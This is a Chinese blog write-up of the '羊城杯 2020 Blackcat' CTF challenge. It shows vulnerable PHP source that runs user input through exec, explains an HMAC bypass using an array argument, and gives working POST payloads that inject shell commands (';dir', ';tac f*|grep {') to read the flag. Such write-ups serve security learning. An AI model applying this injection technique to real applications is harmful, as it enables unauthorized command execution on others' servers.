[羊城杯 2020]Blackcat

[羊城杯 2020]Blackcat

查看音频的源码,然后复制到记事本中:

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

介绍一下函数 hash_hmac($algo, $data, $key):

当传入的$data为数组时,加密得到的结果固定为NULL

我们可以让White-cat-monitor的值是一个数组,这样使得clandestine的值为null,

那么第四行可以看成:$hh = hash_hmac('sha256', $_POST['One-ear'], null);

要知道hh的值,我们得知道One-ear的值:由于exec只返回命令执行结果的最后一行内容,我们可以使用;来执行多条命令,然后使用dir来显示文件夹内容,所以 One-ear=;dir ,那么hh的值为:

然后使Black-Cat-Sheriff的值等于hh的值。

payload:

White-cat-monitor[]=1&
Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&
One-ear=;dir

image-20230627223120400

“tac f*|grep {” 。它的作用是逆向输出当前目录下以f开头的所有文件的内容,并从内容中查找包含“{”字符的行。“|”表示管道符号,将前一个命令的输出作为参数传递给下一个命令。

image-20230627224534831

payload:

Black-Cat-Sheriff=269afa1c6d77e37919c94f9c75a028819193c7b51aee2d46222cda81fe154538&One-ear=;tac f*|grep \{&White-cat-monitor[]=1

image-20230627225209678

posted @ 2023-06-27 22:54  Magic水瓶  阅读(318)  评论(0)    收藏  举报